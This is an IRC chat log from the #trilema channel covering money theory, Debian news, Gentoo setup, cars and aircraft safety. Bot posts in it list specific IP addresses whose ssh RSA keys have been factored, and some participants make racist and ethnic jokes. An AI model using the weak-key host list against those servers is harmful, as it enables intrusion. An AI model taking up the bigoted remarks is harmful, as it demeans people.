pockets. 1646470;1492695938;asciilifeform;hamilton & carnegie ?! 1646471;1492695944;mircea_popescu;and i don't mean "cultural pockets" as in, people from chicago talk funny. i mean isolated cultural pockets as in, the jefferson-hamilton debate of 1700 is still live and kicking in 2000, argued in the sense of dumb rehashing by the same people in different costumes. 1646472;1492695946;asciilifeform;what, ~century apart ?! 1646473;1492695950;mircea_popescu;asciilifeform ayup. 1646474;1492696006;asciilifeform;describe plox the split between whatever it is that connects h & c, vs jpm & r. 1646475;1492696041;mircea_popescu;the agitolalia re "progress" is especially funny in a place that's literally still playing the same plays. 1646476;1492696102;asciilifeform;1700?! 1646477;1492696104;asciilifeform;1800 1646478;1492696106;asciilifeform;omfg 1646479;1492696128;mircea_popescu;asciilifeform alright. there's two ways to look at money, once you agree (as all of these do) that the principal function of money is to organise human activity while avoiding the costs of http://trilema.com/2014/the-battlefield-of-the-future/#footnote_3_53044 1646480;1492696142;mircea_popescu;one is to regard it as a symbol, the other is to regard it as a property. 1646481;1492696210;asciilifeform;money-is-property, as i understand , is the old, demolished civilized world. 1646482;1492696229;asciilifeform;money-is-symbol is hamilton->lincoln->fdr->kennedy->obummer et al. 1646483;1492696245;mircea_popescu;that doesn't really enter into any of this. you asked for a disjunction i gave you the genus and specific difference. 1646484;1492696262;mircea_popescu;that doesn't mean you're now at liberty to savage all over the livingroom finery. 1646485;1492696284;asciilifeform;i dun see any finery, but only 2 symbols of which mircea_popescu seems to say i do not know the meaning. 1646486;1492696290;asciilifeform;so let's expand plox? 1646487;1492696300;mircea_popescu;ok, what're we expanding on nao ? 1646488;1492696306;asciilifeform;start with money-as-property 1646489;1492696312;mircea_popescu;it wasn't in my text. 1646490;1492696338;asciilifeform;http://btcbase.org/log/2017-04-20#1646480 << ? 1646491;1492696338;a111;Logged on 2017-04-20 13:49 mircea_popescu: one is to regard it as a symbol, the other is to regard it as a property. 1646492;1492696379;mircea_popescu;yes. it doesn't mean "money-as-property" in the sense of "old destroyed world, i get to keep my money". it means money as property in the sense of, money IS A PROPERTY of other objects. like being the color red. 1646493;1492696388;asciilifeform;aah hm 1646494;1492696412;asciilifeform;( omfg the poverty of english !! ) 1646495;1492696416;mircea_popescu;the hamilton school, money as symbol, attempts to construct a grammar of the world wherein money is a word like all the others, and with it finally complete the ancient kaballah task of reading the true bible. 1646496;1492696448;mircea_popescu;the jpm school, not being jewish, simply aims to you know, resolve THE PROBLEM of this property, like they'd cure the common cold or the misfortune of being black. 1646497;1492696488;mircea_popescu;which is why eugenics sticks to one but not the other, say. 1646498;1492696498;asciilifeform;this is a point. 1646499;1492696542;mircea_popescu;the classification of ideas is a very useful scholarly discipline. 1646500;1492697042;shinohai;!~later tell BingoBoingo http://wotpaste.cascadianhacker.com/pastes/51uVA/?raw=true 1646501;1492697042;jhvh1;shinohai: The operation succeeded. 1646502;1492697628;mircea_popescu;asciilifeform http://wotpaste.cascadianhacker.com/pastes/VzRKK/?raw=true << sent. what odds do you figure ? 1646503;1492697833;asciilifeform;mircea_popescu: ~0 1646504;1492698542;mircea_popescu;i guess so. 80yo by now ? 1646505;1492700972;asciilifeform;aha 1646506;1492701158;asciilifeform;in other laughs, https://www.debian.org/News/2017/20170417 1646507;1492701242;asciilifeform;https://archive.is/Ihgo4 << and then debian revokes his commit. as if it weren't 'tor exit node operating', haskell-teaching, fine folx who made debian what it is today, poetteringolade 1646508;1492701253;shinohai;"In the meantime, the Debian Project has taken measures to secure its systems by removing Dmitry's keys in the case that they are compromised." This will in no way affect our ability to provide you with compromised keys. 1646509;1492701281;mircea_popescu;lel 1646510;1492701318;mircea_popescu;asciilifeform you don't get it : the russians did it. 1646511;1492701333;mircea_popescu;had the usg terrorist organisation done it, it'd have been all a-ok by these wrecker's lights. 1646512;1492701564;mircea_popescu;anyway, vaguely curious if the russians are actually going to try the espionage case or just bury the schmuck in a hole somewhere. 1646513;1492703724;asciilifeform;dun look like espionage case 1646514;1492703730;asciilifeform;moar of a colourrevolutioning case 1646515;1492704309;*;trinque emerges from the gentoo cave, like the Lord, three days later 1646516;1492704559;BingoBoingo;Resurrection happens 1646517;1492704611;BingoBoingo;ty shinohai 1646518;1492704663;deedbot;http://qntra.net/2017/04/shinohais-shitcoin-roundup-xtend-tmr-monero-ring-solution-coinbase-presents-gdax-has-goxlike-phenomenon-and-another-hoaxtoshi/ << Qntra - Shinohai's Shitcoin Roundup Xtend (TM)(R): Monero Ring Solution, Coinbase Presents GDAX Has Goxlike Phenomenon, And Another Hoaxtoshi 1646519;1492705412;asciilifeform;qntra ddosated ? 1646520;1492705419;trinque;appears that way. 1646521;1492707850;asciilifeform;trinque: how did the gentoo go ? 1646522;1492707947;trinque;musl and x11 are angry at each other yet, something to do with the way x11 loads modules 1646523;1492707971;trinque;I dug a glibc trench for now while I fiddle with musl+X 1646524;1492708012;trinque;also have an apu2 on the way which will be a dedicated gentoo+musl. I'll write up the unboxing and gentooing of that guy when it arrives. 1646525;1492708104;trinque;re: musl and X, you have to tell it in xorg.conf what order to load modules in. had this for intel, but don't know the proper incantation yet for amd/ati 1646526;1492708558;asciilifeform;trinque: what kind of drive will you use in the apu2? 1646527;1492708598;asciilifeform;( it has sata plug, but no room in the case for a 2.5 inch disk; typically people get 'm-sata' laptop-style ssd for these ) 1646528;1492708616;asciilifeform;iirc it has 3 sockets for the latter. 1646529;1492708637;asciilifeform;i disrecommend the use of the sd card hole, it is (unsurprisingly) agonizingly slow. 1646530;1492708651;asciilifeform;ditto usb hole (they are usb2) 1646531;1492709672;trinque;probably yep, m-sata gumstick drives 1646532;1492709722;trinque;there's a decent store 10min away that stocks about as well as newegg, can go get something once I have the apu2 and see what will fit nicely in the case. 1646533;1492709726;trinque;"Micro Center" 1646534;1492709733;asciilifeform;we have one of these also 1646535;1492709749;asciilifeform;it ate, some years ago, a similar one, 'comp usa' 1646536;1492711392;BingoBoingo;Aha, comp usa didn't sell machines. They sold "service plans" and "financing" 1646537;1492711759;BingoBoingo;more moldylocks pr0n http://www.returnofkings.com/119637/we-should-thank-emily-rose-nauert-for-scaring-women-off-becoming-sjws 1646538;1492711900;asciilifeform;ftr the 'revcontent' -- '16 things flashlight sellers don't want you to know about the 16 best selfies taken before death' etc. is loathesome 1646539;1492711922;asciilifeform;and the author of the linked www oughta be horsewhipped. 1646540;1492712060;asciilifeform;for a supposed enemy of the empire, to host that liquishit ( incidentally it is produced in concert with traditional spammers, i have an entire mailbox that has become unusable because it takes in flashlight spam faster than it can be removed ) is a disgrace. 1646541;1492712115;BingoBoingo;I have no idea why flashlight spam, also recieve said genera in spades. 1646542;1492712122;*;BingoBoingo may be becoming spamblind 1646543;1492712161;asciilifeform;the most irritating imho thing is that the crud is EXACTLY the same on ~all 'popular' www. 1646544;1492712168;asciilifeform;not merely similar, but SAME 1646545;1492712185;asciilifeform;exactly same liquishit on 'the guardian', 'new york times', and this derp 1646546;1492712206;asciilifeform;because apparently he thought that being a public whore is worth the fivebux/mo or whatever it paid. 1646547;1492712237;asciilifeform;can't speak for others, but i find it difficult to take such a fella seriously. 1646548;1492712249;asciilifeform;rly, fivebux? was worth it ? 1646549;1492712321;asciilifeform;cynical sc4mz0r, is what it suggests. like m. kaiser, or g. beck, et al. 1646550;1492718071;pete_dushenski;http://bringatrailer.com/listing/1989-toyota-land-cruiser-fj62-3/ << $55k for 28yo toyotruck not enough! reserve not met. bonkers bubble. cc trinque ben_vulpes 1646551;1492718352;pete_dushenski;in other nuts to crack, one for asciilifeform http://www.gameandfishmag.com/hunting-tips-and-tactics/4-key-tactics-for-successful-squirrel-hunting/ 1646552;1492718370;*;pete_dushenski does not vouch for efficacy of 'tactics' 1646553;1492718408;ben_vulpes;i'll take one busted 20-year old f350 tyvm 1646554;1492718446;pete_dushenski;'bout the size of new f150. popular choice. 1646555;1492718733;pete_dushenski;lol all of ontario rental properties now subject to 'rent control' capping rate of increase at that of inflation WITH MAX OF 2.5%YOY. because if inflation is higher than 2.5% it doesn't count so don't be a terrorist mkay. lol that place is so broke. 1646556;1492718973;trinque;that thing's in beautiful shape though. 1646557;1492718995;pete_dushenski;it was also only $20k new. 1646558;1492719168;ben_vulpes;what's that after adjusting for inflation? 1646559;1492719191;pete_dushenski;of course, same could be said of air-cooled porsche or 50s ferrari, but neither of these sports cars were made in the kinds of quantities the toyotruck was. then again, the quantity of unrusted, unbagged units probably isn't all that far off the mark. 1646560;1492719371;pete_dushenski;http://btcbase.org/log/2017-04-20#1646492 << very much enjoyed this thread, even though (because) i needed to re-read it a dozen times before it ~almost~ made sense 1646561;1492719371;a111;Logged on 2017-04-20 13:52 mircea_popescu: yes. it doesn't mean "money-as-property" in the sense of "old destroyed world, i get to keep my money". it means money as property in the sense of, money IS A PROPERTY of other objects. like being the color red. 1646562;1492720879;pete_dushenski;ben_vulpes: good point. it's probably $120k adjusted for inflation. 1646563;1492723163;mircea_popescu;sooo here's a free business idea 1646564;1492723168;mircea_popescu;flag toilet paper. 1646565;1492723181;mircea_popescu;i know i'd pay a premium to wipe my ass with argentina for years to come. 1646566;1492723522;mircea_popescu;http://btcbase.org/log/2017-04-20#1646539 << eh enemy of empire, gimme a break. dude's an enemy of having to personally work, thassall. empire told him the way out is via "celebrity" because "publicity", he's doing what was told. 1646567;1492723522;a111;Logged on 2017-04-20 18:12 asciilifeform: and the author of the linked www oughta be horsewhipped. 1646568;1492723559;mircea_popescu;http://btcbase.org/log/2017-04-20#1646545 << fake news is fake news what. 1646569;1492723559;a111;Logged on 2017-04-20 18:16 asciilifeform: exactly same liquishit on 'the guardian', 'new york times', and this derp 1646570;1492723676;mircea_popescu;http://btcbase.org/log/2017-04-20#1646560 << #trilema being possibly the only place in the history of letters that takes sensibly longer to read than it takes to write. 1646571;1492723676;a111;Logged on 2017-04-20 20:16 pete_dushenski: http://btcbase.org/log/2017-04-20#1646492 << very much enjoyed this thread, even though (because) i needed to re-read it a dozen times before it ~almost~ made sense 1646572;1492723843;pete_dushenski;it's really not hard to spend two hours a day reading logs just to check all the obscure and arcane references. and that's before reading all the links. 1646573;1492723892;mircea_popescu;in other news, qntra slow but present. 1646574;1492724510;asciilifeform;http://btcbase.org/log/2017-04-20#1646551 << this is of 0 connection to squirrels infesting house in a town ? 1646575;1492724510;a111;Logged on 2017-04-20 19:59 pete_dushenski: in other nuts to crack, one for asciilifeform http://www.gameandfishmag.com/hunting-tips-and-tactics/4-key-tactics-for-successful-squirrel-hunting/ 1646576;1492724524;asciilifeform;( just try an' shoot anything, even a piece of paper, here. ) 1646577;1492724606;asciilifeform;http://btcbase.org/log/2017-04-20#1646550 << this is rather like those 5000 $ 'playstations' etc. on ebay. money laundry. 1646578;1492724606;a111;Logged on 2017-04-20 19:54 pete_dushenski: http://bringatrailer.com/listing/1989-toyota-land-cruiser-fj62-3/ << $55k for 28yo toyotruck not enough! reserve not met. bonkers bubble. cc trinque ben_vulpes 1646579;1492724629;pete_dushenski;asciilifeform: what's worst case scenario, shoot skvirrel and gasenwagen comes early ? 1646580;1492724635;asciilifeform;http://btcbase.org/log/2017-04-20#1646565 << afaik these are only available with american flga 1646581;1492724635;a111;Logged on 2017-04-20 21:19 mircea_popescu: i know i'd pay a premium to wipe my ass with argentina for years to come. 1646582;1492724637;asciilifeform;*flag 1646583;1492724650;pete_dushenski;pretty much, ya 1646584;1492724664;asciilifeform;pete_dushenski: they dun bother with trials over here, for 'we saw white terrorist with RIFLE!!' 1646585;1492724685;pete_dushenski;simple solution to that : go blackface! 1646586;1492724702;asciilifeform;would have to be mexiface (?) here 1646587;1492724716;asciilifeform;( how'd that work.. how do you shorten by a foot ? ) 1646588;1492724735;asciilifeform;http://btcbase.org/log/2017-04-20#1646573 << loads here. 1646589;1492724735;a111;Logged on 2017-04-20 21:31 mircea_popescu: in other news, qntra slow but present. 1646590;1492724739;pete_dushenski;claim pituitary issue for gigantism 1646591;1492724768;pete_dushenski;works for banana hands (tony robbins) 1646592;1492724786;asciilifeform;i gotta ask : would pete_dushenski actually pay 60k $ for that rusty truck ?! 1646593;1492724843;pete_dushenski;not really gangster enough, nor sporty enough, for my particular tastes. $60k isn't crazy for A truck, but not for that one imo. 1646594;1492724882;pete_dushenski;i'm also cheap ukrjoo so not really saying much 1646595;1492724882;trinque;plus reliable / nice looking toyotas have not yet been canceled. 1646596;1492724903;pete_dushenski;^ 1646597;1492724934;asciilifeform;it boggles my mind that this even seemed like a possible thing to do. 1646598;1492724941;asciilifeform;old 'cessna' -- sure 1646599;1492724952;asciilifeform;~maybe~ 1646600;1492724981;pete_dushenski;what this ? 'classic car' ? 1646601;1492725014;asciilifeform;the linked auction 1646602;1492725031;pete_dushenski;and who the fuck wants old cessna ? guaranteed death trap. 1646603;1492725048;pete_dushenski;40yo boeing is one thing, but old cessna ? nothx 1646604;1492725058;asciilifeform;pete_dushenski: they last ~forever 1646605;1492725062;asciilifeform;1940s machines still going strong 1646606;1492725068;asciilifeform;it ain't a car, has no suspension, no gearbox 1646607;1492725074;asciilifeform;outside of engine, ~0 wear 1646608;1492725127;pete_dushenski;but... freakishly, frighteningly tiny. one pilot affiars are no-go afaic. 1646609;1492725161;pete_dushenski;might as well ride motorcycle at night with no headlights and no helmet 1646610;1492725181;*;pete_dushenski would wear helmet if he motorcycled 1646611;1492725202;asciilifeform;i never quite understood why american motorcyclists wear'em 1646612;1492725217;asciilifeform;it isn't as if it will do anything against their usual mode of death -- being thrown into oncoming traffic 1646613;1492725251;ben_vulpes;there are many less traumatic failure modes helmet mitigates against 1646614;1492725267;ben_vulpes;it also mitigates against point of motorcycle which is to go out in style and at speed 1646615;1492726269;mats;being on the road at all is terrifying 1646616;1492726286;mats;so many twits on their smahtphones 1646617;1492726324;ben_vulpes;mats: you ride? 1646618;1492726346;mats;nope 1646619;1492727131;mircea_popescu;asciilifeform the reason that is the usual mode of death is helmet laws. 1646620;1492727139;mircea_popescu;otherwise, their usual mode of death would be "rode over a pebble" 1646621;1492727294;mircea_popescu;and in other "holy shit i love this place" lulz : i bought three fresh coconuts for a thousand colones today ; and half a dozen superb riple mangos for two. this comes to almost 10 kgs of produce for six dollars total. then further down the street proceeded into telas tienda, selling authentic silk brocade, five bux the double-length metre. and it is silk, straight from the worm's ass. it burns, the grain feels right, you nam 1646622;1492727294;mircea_popescu;e it. plus you know, a whole section of actual linen. 1646623;1492732589;ben_vulpes;in other "ain't got nuffin to say, but gonna say it anyways" entries: https://freedom-to-tinker.com/2014/10/27/bitcoin-mining-is-np-hard/ 1646624;1492732622;ben_vulpes;princeton, stating the obvious as far back as 2014 1646625;1492732641;asciilifeform;and the vacuously true 1646626;1492732666;asciilifeform;nobody gives a nanofuck if tx-knapsacking is nphard or not, esp. if it ever turns out that hashingcolliding is not. 1646627;1492732681;asciilifeform;( which remains not merely an open question but one to which no approach of any sort is known ) 1646628;1492732771;ben_vulpes;and in mega-spittoons: https://kolemcrae.com/microsoft-you-seriously-need-to-fix-your-skype-and-microsoft-account-issues-this-is-insane-6fd51e104caa 1646629;1492732869;asciilifeform;use moar microshit. 1646630;1492732896;asciilifeform;srsly if ben_vulpes has to pick b/w smoking and reddit : keep smoking, quit reddit 1646631;1492732899;*;ben_vulpes 's asciilifeform-ulator confirmed operational 1646632;1492733511;mircea_popescu;they probably copied it from somewhere. 1646633;1492734115;shinohai;http://btcbase.org/log/2017-04-20#1646628 <<< this guy would be the Eulorian that stores his gpg private key on onedrive, then is pissed he cant get to it. 1646634;1492734115;a111;Logged on 2017-04-20 23:59 ben_vulpes: and in mega-spittoons: https://kolemcrae.com/microsoft-you-seriously-need-to-fix-your-skype-and-microsoft-account-issues-this-is-insane-6fd51e104caa 1646635;1492739539;deedbot;http://phuctor.nosuchlabs.com/gpgkey/5AA8FD9F6665A2D789D36663D7254E060796106EB489F0260BA859A7F9AE2086 << Recent Phuctorings. - Phuctored: 1757...8727 divides RSA Moduli belonging to '165.228.171.82 (ssh-rsa key from 165.228.171.82 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (ballin9.lnk.telstra.net. AU NSW) 1646636;1492739539;deedbot;http://phuctor.nosuchlabs.com/gpgkey/5AA8FD9F6665A2D789D36663D7254E060796106EB489F0260BA859A7F9AE2086 << Recent Phuctorings. - Phuctored: 1441...5609 divides RSA Moduli belonging to '165.228.171.82 (ssh-rsa key from 165.228.171.82 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (ballin9.lnk.telstra.net. AU NSW) 1646637;1492740467;BingoBoingo;!~ticker --market all 1646638;1492740473;jhvh1;BingoBoingo: Bitstamp BTCUSD last: 1236.74, vol: 5845.50147595 | BTC-E BTCUSD last: 1238.61, vol: 6740.41106 | Bitfinex BTCUSD last: 1316.7, vol: 15371.61566297 | BTCChina BTCUSD last: 1058.798194, vol: 6540.90930000 | Kraken BTCUSD last: 1244.344, vol: 2276.94954926 | Volume-weighted last average: 1239.32682982 1646639;1492740948;deedbot;http://qntra.net/2017/04/balance-of-buttfunex-cold-storage-address-down-50-kilobitcoin-and-falling/ << Qntra - Balance Of Buttfunex "Cold Storage" Address Down 50 kiloBitcoin And Falling 1646640;1492741161;deedbot;http://phuctor.nosuchlabs.com/gpgkey/AC320D981CE9D38BC8842CC51688FAC662001D849B99A19B80837B9002B7F4C6 << Recent Phuctorings. - Phuctored: 9931...5093 divides RSA Moduli belonging to '177.234.6.153 (ssh-rsa key from 177.234.6.153 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1646641;1492741161;deedbot;http://phuctor.nosuchlabs.com/gpgkey/BCB4FAF9B7BC2D324C86FD927C713FC337C93F3920E607A6A1789C3897E2756B << Recent Phuctorings. - Phuctored: 9931...5093 divides RSA Moduli belonging to '177.234.15.91 (ssh-rsa key from 177.234.15.91 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1646642;1492741162;deedbot;http://phuctor.nosuchlabs.com/gpgkey/CFAA83DBA61419976C5A7EB332195CB3BB611760917DF59CE06273B247798B6D << Recent Phuctorings. - Phuctored: 9931...5093 divides RSA Moduli belonging to '177.234.7.205 (ssh-rsa key from 177.234.7.205 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1646643;1492741162;deedbot;http://phuctor.nosuchlabs.com/gpgkey/FEF1C6C9A890941640110AD479AFDEDCC6132445EEFB2D1F31C1D58AFF1DC4F4 << Recent Phuctorings. - Phuctored: 9931...5093 divides RSA Moduli belonging to '177.234.13.9 (ssh-rsa key from 177.234.13.9 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX JAL) 1646644;1492741163;deedbot;http://phuctor.nosuchlabs.com/gpgkey/5A35236F137FD211F772259BD5287EDE9AA09CD8A275F881C74BD97AB8BD0545 << Recent Phuctorings. - Phuctored: 9931...5093 divides RSA Moduli belonging to '177.234.3.189 (ssh-rsa key from 177.234.3.189 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1646645;1492741163;deedbot;http://phuctor.nosuchlabs.com/gpgkey/D21502DDC614160506D49019E3A101B1D769C3A49597CAB4B67CBBC0EF4E7592 << Recent Phuctorings. - Phuctored: 9931...5093 divides RSA Moduli belonging to '177.234.1.5 (ssh-rsa key from 177.234.1.5 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1646646;1492741164;deedbot;http://phuctor.nosuchlabs.com/gpgkey/AC320D981CE9D38BC8842CC51688FAC662001D849B99A19B80837B9002B7F4C6 << Recent Phuctorings. - Phuctored: 9787...7887 divides RSA Moduli belonging to '177.234.6.153 (ssh-rsa key from 177.234.6.153 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1646647;1492742342;mircea_popescu;9931...5093 divides RSA Moduli belonging to all of mexico! 1646648;1492742386;deedbot;http://qntra.net/2017/04/elon-musk-presents-tesla-motors-presents-parking-brake-recall/ << Qntra - Elon Musk Presents Tesla Motors Presents: Parking Brake Recall 1646649;1492742480;BingoBoingo; 9931...5093 divides RSA Moduli belonging to all of mexico! << But is the RSA moduli warm letting you know it just emerged from the worm's ass? 1646650;1492742508;mircea_popescu;mmm ? 1646651;1492742555;BingoBoingo;Like the silk 1646652;1492742567;mircea_popescu;oh lol 1646653;1492742605;BingoBoingo;Or did Mexico try the cocaine and toggle switch RNG idea and it turns out cocaine is deterministic 1646654;1492742626;mircea_popescu;maybe it's deterministic if you're short. 1646655;1492742662;BingoBoingo;Also possibru 1646656;1492742663;trinque;hey man, one windows license, one host key. that's comunidad 1646657;1492742700;mircea_popescu;multiple servers!!!* (* terms and conditions apply. one wife for each soldier means everyone's fucking the same old rubber chicken) 1646658;1492742729;BingoBoingo;In other news, of the tomatoes installed this year, the vine which has put on the most size so far is the aptly named "Beefmaster" cultivar 1646659;1492743966;BingoBoingo;And in the weather, thing not usually stolen getting stolen: http://www.bnd.com/news/local/article145718689.html#wgt=trending 1646660;1492743993;BingoBoingo;"Police say more than $100,000 in trucks and lawn equipment was stolen Wednesday night or Thursday morning from a business in Caseyville. St. Clair County Sheriff’s Capt. Bruce Fleshren said a large section of fencing was cut, and gates were rammed by trucks at the business, Munie Green Care." 1646661;1492744137;BingoBoingo;And still more regional weird: "Bronke explained that few people in the area have access to one or more of the substances found in Ellerbusch’s body. He implied that investigators from multiple counties are looking into where the teen may have received the substance or substances." 1646662;1492744149;BingoBoingo;^ Overdose case 1646663;1492745645;mircea_popescu;in other "climate science", "somebody actually gives a shit about all the libertard agitprop" "there's more than a handful of sjws, truly, really, believe!!!" "nyt has more reach than trilema" and "if you don't have sou's hot whopper in your reader you really should" news, http://wotpaste.cascadianhacker.com/pastes/X09iH/?raw=true 1646664;1492745698;mircea_popescu;astroturf ALL THE FUCKING WAY DOWN. 1646665;1492745750;asciilifeform;wat. 1646666;1492745778;mircea_popescu;!$ssh 89.32.177.45 1646667;1492745829;mircea_popescu;asciilifeform just a little bit of "consensus building" on the left. 1646668;1492746002;asciilifeform;in other news, asciilifeform is getting samples from cn LYSO xtal grower 1646669;1492746047;mircea_popescu;o hey 1646670;1492746053;asciilifeform;almost too cheap to believe. 1646671;1492746102;asciilifeform;exciting excursion to bottom of mendeleev table!111 1646672;1492746112;mircea_popescu;i hear that';s the ancient spelling of "china" 1646673;1492746124;asciilifeform;lolaha 1646674;1492746259;asciilifeform; !$ ssh 89.32.177.45 1646675;1492746266;asciilifeform;hm. 1646676;1492746287;mircea_popescu;!$ ssh 89.32.177.45 1646677;1492746303;asciilifeform;spreading works... 1646678;1492746318;mircea_popescu;it's pretty weird it never saw it. 1646679;1492746345;asciilifeform;aha! 1646680;1492746450;asciilifeform;http://btcbase.org/log/2017-04-21#1646657 << copy-on-write!!111 1646681;1492746450;a111;Logged on 2017-04-21 02:45 mircea_popescu: multiple servers!!!* (* terms and conditions apply. one wife for each soldier means everyone's fucking the same old rubber chicken) 1646682;1492746572;asciilifeform;shinohai: 'he was unable to sign either an early Bitcoin transaction or a statement with his original GPG key because “A sequence of events unfolded in 2010 that caused me the loss of all my keys.”' << lol, gold 1646683;1492746775;asciilifeform;'encrypted notepad document' << aaaa wat. 1646684;1492752225;mircea_popescu;one lulzy bit being that the gmx account is known-compromised since cca 2013. 1646685;1492752286;deedbot;http://www.contravex.com/2017/04/20/420-peaceful-pale-and-placated/ << » Contravex: A blog by Pete Dushenski - 420: Peaceful, pale, and placated. 1646686;1492752356;deedbot;http://phuctor.nosuchlabs.com/gpgkey/637F4B334BCB5B65796568FDDF4746ECF7E27F24C0342EBD1D97EEFC0E932C57 << Recent Phuctorings. - Phuctored: 1626...0959 divides RSA Moduli belonging to '38.96.45.231 (ssh-rsa key from 38.96.45.231 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (CSR2164NSM5R-We-Or-Ca-c3917-568-D. US CA) 1646687;1492752356;deedbot;http://phuctor.nosuchlabs.com/gpgkey/637F4B334BCB5B65796568FDDF4746ECF7E27F24C0342EBD1D97EEFC0E932C57 << Recent Phuctorings. - Phuctored: 1712...4809 divides RSA Moduli belonging to '38.96.45.231 (ssh-rsa key from 38.96.45.231 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (CSR2164NSM5R-We-Or-Ca-c3917-568-D. US CA) 1646688;1492752427;ben_vulpes;mircea_popescu: cute little portal to the netherworld you got there 1646689;1492752496;ben_vulpes;gotta brick those up before the flying ones start coming through 1646690;1492752601;mircea_popescu;eh, i dun specifically care. just leaving it in the log for the next time usg goes "oh usg.twitter has 4398573498759834795 users" 1646691;1492752646;davout;http://btcbase.org/log/2017-04-20#1646602 <<< doesn't work that way 1646692;1492752646;a111;Logged on 2017-04-20 21:50 pete_dushenski: and who the fuck wants old cessna ? guaranteed death trap. 1646693;1492753079;davout;engines are regularly changed when their potential is up 1646694;1492753129;davout;the only really significant categories, from a safety point of view, are single vs. multi engines 1646695;1492753144;mircea_popescu;and prop vs jet. 1646696;1492753169;davout;i don't think it makes any difference from a safety pov 1646697;1492753177;mircea_popescu;o.O 1646698;1492753321;davout;also props can mean a piston engine, as well as a turbo-prop 1646699;1492753332;mircea_popescu;there is that. 1646700;1492753749;pete_dushenski;davout: does one pilot v. two pilots matter as much as i suspect it does (ie. quite a lot) ? 1646701;1492753773;mircea_popescu;well theres no multi-pilot single props 1646702;1492753779;davout;i don't think it does matter that much, there's usually two pilots because there's more buttons 1646703;1492753808;davout;not really because of the need for a "backup pilot" 1646704;1492753830;pete_dushenski;hm 1646705;1492753856;davout;yeah, i can't think of any multi-crew single piston engines 1646706;1492753884;davout;i think single engine turbo prop could be multi-crew 1646707;1492753967;pete_dushenski;i guess i like my pilots like i like my kidneys. not 'rational' or 'efficient' but what can i say. then again, it's not like i'll be flying anything other than commerical for the forseeable future 1646708;1492754095;davout;i was told that the risk of flying non-commercial single engines was roughly equivalent to motor-biking 1646709;1492754097;pete_dushenski;o hey oilers come from behind. 4-3 in ot to lead series 3-2 1646710;1492754110;davout;one casualty per ~25k flight hours 1646711;1492754120;pete_dushenski;makes sense 1646712;1492754131;davout;usually the pilot being a derp 1646713;1492754166;davout;flying into clouds, forgetting to switch the fuel tank selector to the full one, that kind of stuff 1646714;1492754320;pete_dushenski;so flying as a passenger in a single engine, single pilot is like riding bitch on a bike. lol nothx! 1646715;1492754334;davout;pretty much 1646716;1492777577;asciilifeform;http://btcbase.org/log/2017-04-21#1646705 << waiwat?! 1646717;1492777577;a111;Logged on 2017-04-21 05:50 davout: yeah, i can't think of any multi-crew single piston engines 1646718;1492777585;asciilifeform;wtf is, e.g., http://www.micheloud.com/fxm/flying/Scans/152Panel.jpg then 1646719;1492777602;asciilifeform;and i dun think you can even GET a 'cessna' with 1 set of controls. 1646720;1492777621;asciilifeform;does 'multi-crew' means something else to davout ? 1646721;1492779536;davout;yes. 1646722;1492779546;davout;multi crew means "must be operated by two pilots" 1646723;1492779554;davout;not "dual commands" 1646724;1492779608;asciilifeform;thread started with 'does one pilot v. two pilots matter as much as i suspect it does' tho 1646725;1492779623;asciilifeform;and 'theres no multi-pilot single props' -- which is plainly wrong 1646726;1492779655;asciilifeform;make the woman learn -- instant 2nd pilot. 1646727;1492779696;davout;it seems we have a different definition of "pilot" 1646728;1492779788;davout;multi-pilot is a term of art 1646729;1492780005;asciilifeform;what, it means literally MUST have both d00dz, or emergency land ?! 1646730;1492780014;asciilifeform;seems like an idiot design. 1646731;1492780050;asciilifeform;which machine actually works like this ? 1646732;1492780184;davout;asciilifeform: pretty much every commercial jet, and every turbo-prop must be operated by two pilots 1646733;1492780240;asciilifeform;so, pilot suddenly dies, machine is somewhere over atlantic. it drops immediately..? 1646734;1492780275;asciilifeform;wtf is the point of the two wheels, then. 1646735;1492780555;davout;of course it doesn't drop 1646736;1492780572;asciilifeform;so what means 'must be operated by two pilots' then 1646737;1492780585;davout;one pilot can land it just fine, but he'll need ATC assistance to lighten the workload 1646738;1492780599;davout;like priority over other aircraft for example 1646739;1492780629;davout;the workload can get very important at times 1646740;1492780722;davout;also having two pilots enable them to cross-check each other, which is pretty fucking important to not forget anything 1646741;1492780725;asciilifeform;makes sense 1646742;1492780751;davout;but with some help from ATC, a private pilot could land an A320 1646743;1492780789;asciilifeform;weren't there instances of folx entirely uninvolved with aviation (save for buying the ticket) 'landing with help from atc' ? 1646744;1492780801;asciilifeform;or is this legend. 1646745;1492780819;davout;https://www.youtube.com/watch?v=htg0VKt3j_w&feature=youtu.be&t=84 1646746;1492780835;davout;autoland is a thing 1646747;1492780879;davout;push the correct knobs and the airplanr will just land itself in 0 visibility 1646748;1492781784;mircea_popescu;asciilifeform http://wotpaste.cascadianhacker.com/pastes/mRRjZ/?raw=true 1646749;1492781896;asciilifeform;got it 1646750;1492782106;mircea_popescu;http://btcbase.org/log/2017-04-21#1646720 << is your comp multicrew ? 1646751;1492782106;a111;Logged on 2017-04-21 12:27 asciilifeform: does 'multi-crew' means something else to davout ? 1646752;1492782121;asciilifeform;mine - nope 1646753;1492782123;mircea_popescu;god knows it can take KVM up the ying-yang. 1646754;1492782139;mircea_popescu;ah, but is the standard ~can~ ? or what ? 